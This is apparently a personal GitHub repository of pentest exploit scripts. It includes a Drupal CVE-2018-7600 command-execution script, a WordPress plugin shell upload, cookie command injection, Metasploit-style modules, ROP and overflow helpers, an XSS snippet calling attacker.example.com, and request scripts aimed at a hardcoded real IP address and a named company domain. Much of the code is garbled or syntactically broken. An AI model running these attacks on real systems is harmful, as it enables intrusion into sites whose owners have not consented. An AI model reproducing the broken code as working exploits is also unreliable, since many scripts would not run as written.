├── CVE-2006-20001.py
├── CVE-2008-0005.html
├── CVE-2018-7600.pl
├── README.md
├── WordPress_RCE.php
├── adr_shell.sh
├── azure_tamper.py
├── binary_expl.py
├── blind_rop.sh
├── bof_fuzzer.py
├── brop
├── buff_build.py
├── buffer_layout.sh
├── buffer_len.py
├── buffer_scan
├── cgi_cmd_exec.rb
├── code_exec1.rb
├── code_exec2.rb
├── cookie_rce.pl
├── cve_1.py
├── drupal_exec.sh
├── drupal_rce.pl
├── execve_code.c
├── exploit_mod_session.c
├── fastcgi_rce.py
├── fs.sh
├── joomla_rce.pl
├── kitty_fuzz.py
├── mini_ecex.py
├── msrpc_fuzz.c
├── payload.txt
├── payloads_sample.txt
├── pwner.py
├── r2pipe.py
├── rce_proxy.py
├── rce_ssh.cpp
├── redirect_wp_shell.pl
├── ret.rs
├── ret2lib.sh
├── ret_pwn.py
├── return_sqli.pl
├── rop_exp.rs
├── ropchain.py
├── segfault_fuzzer.c
├── server_fuzz.rs
├── shell_exec.c
├── shell_scan.rs
├── smb_rce.py
├── ssh_exploit.c
├── strcpy_r2.py
├── syscall.sh
├── tamper_aws.py
├── tamper_payloads.txt
├── tamper_unix.py
├── trun_fuzzer.py
├── webdav_exec.pl
├── webfuzzer.rs
├── webmin_rce.pl
└── zyxel_rce.py


/CVE-2006-20001.py:
--------------------------------------------------------------------------------
 1 | import socket
 2 | 
 3 | target_host = "195.4.223.84"
 4 | target_port = 80
 5 | 
 6 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 7 | 
 8 | client.connect((target_host, target_port))
 9 | 
10 | request = "GET / HTTP/1.1\r\nIf: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n\r\n"
11 | 


--------------------------------------------------------------------------------
/CVE-2008-0005.html:
--------------------------------------------------------------------------------
1 | <script>
2 | var xss = new XMLHttpRequest();
3 | xss.open("GET", "http://attacker.example.com/vuln.cgi?charset=UTF-7", true);
4 | xss.send();
5 | </script>
6 | 


--------------------------------------------------------------------------------
/CVE-2018-7600.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | 
 3 | use LWP::UserAgent;
 4 | 
 5 | $ua = LWP::UserAgent->new;
 6 | $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13");
 7 | 
 8 | $target = $ARGV[0];
 9 | $drupal_path = $ARGV[1];
10 | 
11 | if(!$target || !$drupal_path) {
12 |     print "Usage: perl $0 <target> <drupal_path>\n";
13 |     print "Example: perl $0 www.example.com /drupal\n";
14 |     exit;
15 | }
16 | 
17 | $exploit = $target . $drupal_path . "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
18 | 
19 | $post_data = "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=" . urlencode("echo \"VULNERABLE\" > /tmp/vulnerable.txt");
20 | 
21 | $response = $ua->post($exploit, Content_Type => 'application/x-www-form-urlencoded', Content => $post_data);
22 | if($response->is_success) {
23 |     print "Exploit successful!\n";
24 |     print "Check /tmp/vulnerable.txt\n";
25 | }
26 | else {
27 |     print "Exploit failed.\n";
28 | }


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # exploits_scripts
2 | my mini collection of exploits and scripts for pentest
3 | 


--------------------------------------------------------------------------------
/WordPress_RCE.php:
--------------------------------------------------------------------------------
 1 | <?php 
 2 | 
 3 |    $url = 'http://target_site/wp-admin/admin-ajax.php'; // Change this to the target URL
 4 | 
 5 |    $data = array(  'action' => 'revslider_ajax_action', 
 6 |                    'client_action' => 'update_plugin', 
 7 |                    'update_file' => "@shell.php" ); // The shell file we want to upload
 8 | 
 9 |    $ch = curl_init(); // Initialize a cURL session
10 | 
11 |    curl_setopt($ch, CURLOPT_URL,$url); // Set the target URL to send our request to
12 |    curl_setopt($ch, CURLOPT_POST, 1); // Set the request type as POST (Default value)                                    curl_setopt($ch, CURLOPT__POSTFIELDS,$data); // Set our data array as the POST data
13 | 
14 |    $result=curl_exec ($ch); // Execute the cURL session and store its response in a variable
15 | 
16 |    echo $result; // Print out the response from our cURL session which should be a success message if everything went alright!
17 | 


--------------------------------------------------------------------------------
/adr_shell.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/sh
 2 | 
 3 | target_binary="$1"
 4 | system_addr=$(objdump -d "$target_binary" | \
 5 |     grep -E 'call.*<system@plt>' | \
 6 |     head -1 | \
 7 |     awk '{print $1}' | \
 8 |     sed -e 's/^.*<//' -e 's/>$//')
 9 | shell_addr=$(objdump -s "$target_binary" | \
10 |     grep -E '/bin/sh' | \
11 |     awk '{print $3}')
12 | echo "System address:  $system_addr"
13 | echo "Shell address:   $shell_addr"
14 | 


--------------------------------------------------------------------------------
/azure_tamper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | 
3 | import re
4 | 
5 | def tamper(payload, **kwargs):
6 |     payload = re.sub(r"(?<=\w)\s*=\s*", "=;", payload)
7 |     return payload
8 | 


--------------------------------------------------------------------------------
/binary_expl.py:
--------------------------------------------------------------------------------
 1 | import angr
 2 | import pwntools
 3 | 
 4 | proj = angr.Project('target_binary', auto_load_libs=False)
 5 | state = proj.factory.blank_state(addr=proj.entry)
 6 | sm = proj.factory.simgr(state)
 7 | sm.explore(find=lambda s: b"\x90\x90\x90\x90" in s.posix.dumps(1))
 8 | return_addr = sm.found[0].posix.dumps(1)[-8:]
 9 | shellcode = pwntools.shellcraft.amd64.linux.sh()
10 | payload = b"A" * (len(return_addr) - len(shellcode)) + shellcode
11 | exploit = pwntools.core.PwnlibContextType.shellcraft.pushstr(payload)
12 | p = proj.surveyors.ExploitSurveyor(find=[return_addr], use_bytes=True, shellcode=exploit)
13 | p.run()


--------------------------------------------------------------------------------
/blind_rop.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | # Blind ROP Exploitation Script
 4 | # Find buffer overflow offset
 5 | target_binary="$1"
 6 | echo "Finding buffer overflow offset..."
 7 | python2 -c 'print "A"*offset' | $target_binary
 8 | # Find canary 
 9 | echo "Finding canary..." 
10 | python2 -c 'print "A"*offset + "\x00"*8' | $target_binary
11 | # Find saved registers (RBP / RIP) 
12 | echo "Finding saved registers (RBP / RIP)..." 
13 | python2 -c 'print "A"*offset + "\x00"*8 + "\x01\x02\x03\x04\x05\x06\x07\x08"' | $target_binary 
14 | # Find stop gadgets 
15 | echo "Finding stop gadgets..." 
16 | ROPgadget --binary $target_binary --ropchain --badbytes 0 > gadgets.txt 
17 | grep -E 'ret|pop|leave|retf' gadgets.txt > stop_gadgets.txt   # grep for ret, pop, leave and retf instructions in the gadget list to find stop gadgets              # save the results in a separate file for later use.  
18 |  # Find brop gadgets 
19 | echo "Finding brop gadgets..."         # search for ropchain instructions in the gadget list to find brop gadgets         # save the results in a separate file for later use.  
20 |  ROPgadget --binary $target_binary --ropchain > brop_gadgets.txt  
21 |  # Find a Write function (write / dprintf / puts / ...) 
22 |  echo "Finding a Write function (write / dprintf / puts / ...)..."  
23 |  strings $target_binary| grep -E 'write|dprintf|puts' > write_functions.txt   # search for write, dprintf and puts functions in the binary and save them to a file for later use.  
24 |  # Leak the binary for target binaryes and servers
25 |  echo "Leaking the binary for target binaryes and servers..."
26 |  nc 127.0.0.1 80 < <(cat $target_binary)
27 | 


--------------------------------------------------------------------------------
/bof_fuzzer.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | import pwntools pwn
 3 | from pwn import *
 4 | 
 5 | target_host = "example.com" 
 6 | target_port = 80 
 7 | 
 8 | conn = pwntools.remote(target_host, target_port) 
 9 | 
10 | payload_size = 100
11 | 
12 | while True:  
13 |     payload = 'A' * payload_size  
14 |     conn.send(payload)                                                            
15 |    
16 |    print("Sent %d bytes" % len(payload))                                       
17 | 


--------------------------------------------------------------------------------
/brop:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TcherB31/exploits_scripts/5fae4e405107b2bf8570368b80e09590d3d25cb0/brop


--------------------------------------------------------------------------------
/buff_build.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | import os
 3 | 
 4 | # Get the target file
 5 | target_file = sys.argv[1]
 6 | 
 7 | # Create the exploit
 8 | exploit = ""
 9 | exploit += "#!/usr/bin/perl\n"
10 | exploit += "use strict;\n"
11 | exploit += "use warnings;\n"
12 | exploit += "\n"
13 | exploit += "# Exploit code goes here\n"
14 | exploit += "my $buffer = \"A\" x 1024;\n"
15 | exploit += "my $eip = \"\\x90\\x90\\x90\\x90\";\n"
16 | exploit += "my $shellcode = \"\\x90\" x 32;\n"
17 | exploit += "\n"
18 | exploit += "open(my $file, '>', $ARGV[0]) or die \"Could not open file '$ARGV[0]' $!\";\n"
19 | exploit += "print $file $buffer.$eip.$shellcode;\n"
20 | exploit += "close $file;\n"
21 | 
22 | # Write the exploit to a file
23 | with open("exploit.pl")


--------------------------------------------------------------------------------
/buffer_layout.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | PATH=/usr/bin:/usr/sbin:/bin:/sbin
 4 | if [ $# -eq 0 ]; then
 5 |     echo "No target binary specified. Exiting..."
 6 |     exit 1
 7 | fi
 8 | target_binary="$1"
 9 | if [ ! -f "$target_binary" ]; then
10 |     echo "Target binary does not exist. Exiting..."
11 |     exit 1
12 | fi
13 | 
14 | readelf -l "$target_binary" > /tmp/readelf_program_headers.txt
15 | 
16 | start_heap=$(cat /tmp/readelf_program_headers.txt | grep HEAP | awk '{print $2}')
17 | end_heap=$(cat /tmp/readelf_program_headers.txt | grep HEAP | awk '{print $3}')
18 | 
19 | objdump -d "$target_binary" > /tmp/objdump_assembly.txt
20 | 
21 | malloc_refs=$(cat /tmp/objdump_assembly.txt | grep -E 'malloc|calloc|realloc|free')
22 | echo "References to memory allocation functions:"
23 | echo "$malloc_refs"
24 | echo ""
25 | 
26 | echo "Analyzing assembly code to determine how the heap is structured..."
27 | echo ""
28 | 
29 | echo "Heap region starts at: $start_heap"
30 | echo "Heap region ends at: $end_heap"
31 | echo ""
32 | 
33 | echo "Analyzing assembly code to determine how memory is allocated and freed in the heap..."
34 | echo "" 
35 |  
36 | echo "Identifying any memory management techniques that are used to manage the heap..." 
37 | echo "" 
38 |  
39 | echo "Identifying any security measures that are used to protect the heap from malicious access..." 
40 | echo "" 
41 |  
42 | echo "Analyzing assembly code to determine any potential vulnerabilities in the heap layout..." 
43 | echo "" 
44 |  
45 | echo "Documenting findings and recommendations for improving the security of the heap layout..." 
46 | echo ""


--------------------------------------------------------------------------------
/buffer_len.py:
--------------------------------------------------------------------------------
 1 | import sys
 2 | 
 3 | target = sys.argv[1]
 4 | 
 5 | for i in range(1, 256):
 6 |     try:
 7 |         buffer = "A" * i
 8 |         payload = buffer + target
 9 |         print("[+] Trying buffer length: %d" % i)
10 |         response = subprocess.check_output(payload, shell=True)
11 |     except:
12 |         print("[+] Buffer length found: %d" % i)
13 |         break
14 | 


--------------------------------------------------------------------------------
/buffer_scan:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TcherB31/exploits_scripts/5fae4e405107b2bf8570368b80e09590d3d25cb0/buffer_scan


--------------------------------------------------------------------------------
/cgi_cmd_exec.rb:
--------------------------------------------------------------------------------
 1 | # #
 2 | # This module requires Metasploit: https: //metasploit.com/download
 3 | # Current source: https: //github.com/rapid7/metasploit-framework
 4 | # #
 5 | 
 6 | require 'msf/core'
 7 | 
 8 | class MetasploitModule < Msf::Exploit::Remote
 9 | Rank = ExcellentRanking
10 | include Msf::Exploit::Remote::HttpClient
11 | 
12 | def initialize(info = {})
13 | super(update_info(info,
14 | 'Name' => 'Ruby for Metasploit Framework Remote Code Execution Vulnerability in /cgi-bin/cmd.cgi',
15 | 'Description' => % q { This module exploits a remote code execution vulnerability in the /cgi-bin/cmd.cgi script on Ruby for Metasploit Framework systems
16 | },
17 | 'Author' => ['TcherBer'], # an author or list of authors 'Payload' => {}, # payload info # target 's architecture that will receive the payload 
18 | 'Platform' => ['unix', 'linux', ], # platform info(Unix, Linux, etc.)
19 | 'Targets' => [
20 | ["Automatic", {}]
21 | ], # targets info(OS version, etc.) # an array of service versions that are vulnerable
22 | }, # an array of references to related security advisories], # a hash of verification information(e.g.file checksum)), # vulnerability disclosure date), # exploit publish date))
23 | super(update_info(info, )) end def check vprint_status("Checking target") res = send_request_cgi({
24 |   "uri" => "/cgi-bin/cmd.cgi",
25 | }) if res && res.code == 200 && res.body = ~/Command Executor/
26 | return Exploit::CheckCode::Vulnerable
27 | else return Exploit::CheckCode::Safe end end def exploit print_status("Sending payload...") send_request_raw({
28 |   "method" => "POST",
29 |   "uri" => "/cgi-bin/cmd.cgi",
30 |   "data" => payload
31 | }) end end
32 | 


--------------------------------------------------------------------------------
/code_exec1.rb:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/ruby
 2 | 
 3 | require 'msf/core'
 4 | 
 5 | class MetasploitModule < Msf::Exploit::Remote
 6 | 
 7 | Rank = ExcellentRanking
 8 | 
 9 | include Msf::Exploit::Remote::HttpClient
10 | 
11 | def initialize(info = {})
12 | super(update_info(info,
13 |   'Name' => 'Bash Command Execution in Target URLs',
14 |   'Description' => % q {
15 |     This module exploits a vulnerability in websites that contain vulnerable parameters and functions.It allows an attacker to execute arbitrary bash commands on the target system.
16 |   },
17 |   'License' => MSF_LICENSE,
18 |   'Author' => ['Your Name <you@example.com>'], 
19 |     ['URL', 'http://example.com']
20 |   ], 
21 |       'Space' => 1024,
22 |     if true(
23 |       default)
24 |   },
25 | 
26 | 
27 |   'Targets' => [
28 |     ["Automatic", {}]
29 |   ],
30 | 
31 | 
32 | ))
33 | 
34 | register_options([OptString.new('TARGETURI', [true, "The base path to the web application", "/"])])
35 | 
36 | deregister_options('VHOST') 
37 | 
38 | end
39 | 
40 | def check
41 | for vulnerability goes here(e.g., version detection)
42 | 
43 | end
44 | 
45 | def exploit 
46 | 
47 | endend


--------------------------------------------------------------------------------
/code_exec2.rb:
--------------------------------------------------------------------------------
 1 | #!/usr/bin /ruby
 2 | 
 3 | require 'msf/core'
 4 | 
 5 | class MetasploitModule < Msf::Exploit::Remote
 6 | include Msf::Exploit::Remote::HttpClient
 7 | 
 8 | def initialize(info = {})
 9 | super(update_info(info,
10 |   'Name' => 'Command Injection Module',
11 |   'Description' => % q {
12 |     This module exploits a Command injection vulnerability in websites that contain
13 |     vulnerable parameters in the URL.
14 |   },
15 |   'Author' => ['Your Name'],
16 |   'License' => MSF_LICENSE,
17 |   'References' => [
18 |     ['URL', 'https://example.com/'],
19 |   ],
20 |   'Privileged' => false,
21 |   'Platform' => ['unix', 'linux'],
22 |   'Arch' => [ARCH_X86, ARCH_X64],
23 |   'Payload' => {
24 |     'BadChars' => "\x00"
25 |   },
26 |   'Targets' => [
27 |     ['Generic (Unix In-Memory)',
28 |       'Platform' => 'unix',
29 |       'Arch' => ARCH_CMD,
30 |     ],
31 |   ],
32 |   'DefaultTarget' => 0
33 | ))
34 | 
35 | register_options(
36 |   [
37 |     OptString.new('TARGETURI', [true, 'The target URI of the vulnerable PHP application', '/path/to/target/param']),
38 |     OptString.new('USER', [true, 'The username'])
39 |   ], self.class)
40 | end
41 | 
42 | def check
43 | res = nil
44 | req = send_request_cgi({
45 |   'method' => 'GET',
46 |   'uri' => normalize_uri(target_uri.path)
47 | })
48 | 
49 | failure
50 | end
51 | 
52 | def exploit
53 | command = "/bin/bash -c \"#{payload.encoded}\""
54 | 
55 | begin
56 | res = send_request_cgi({
57 |   'method' => 'GET',
58 |   'uri' => normalize_uri(target_uri.path) + "?command=#{command}",
59 |   'vars_get' => {
60 |     'username' => datastore['USER'],
61 |   }
62 | })
63 | end
64 | 
65 | if res and res.code == 200 and res.body.include ? ('Command executed successfully')
66 | print_status("Exploit successful")
67 | else
68 |   fail_with(Failure::Unknown, "Exploit Failed")
69 | end
70 | end
71 | end


--------------------------------------------------------------------------------
/cookie_rce.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | 
 3 | use LWP::UserAgent;
 4 | my $url = "http://www.example.com/";
 5 | my $command = "; ls -la;";
 6 | my $ua = LWP::UserAgent->new;
 7 | $ua->default_header('Cookie' => "command=$command");
 8 | my $response = $ua->get($url);
 9 | print $response->content;
10 | 


--------------------------------------------------------------------------------
/cve_1.py:
--------------------------------------------------------------------------------
 1 | import socket
 2 | 
 3 | target_host = "ebmconsulting.com.hk"
 4 | target_port = 80
 5 | 
 6 | # Create a socket object
 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 8 | 
 9 | # Connect to the target
10 | client.connect((target_host, target_port))
11 | 
12 | # Send malicious request
13 | evil_request = "GET / HTTP/1.1\r\nHost: ebmconsulting.com.hk\r\nCookie: SESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA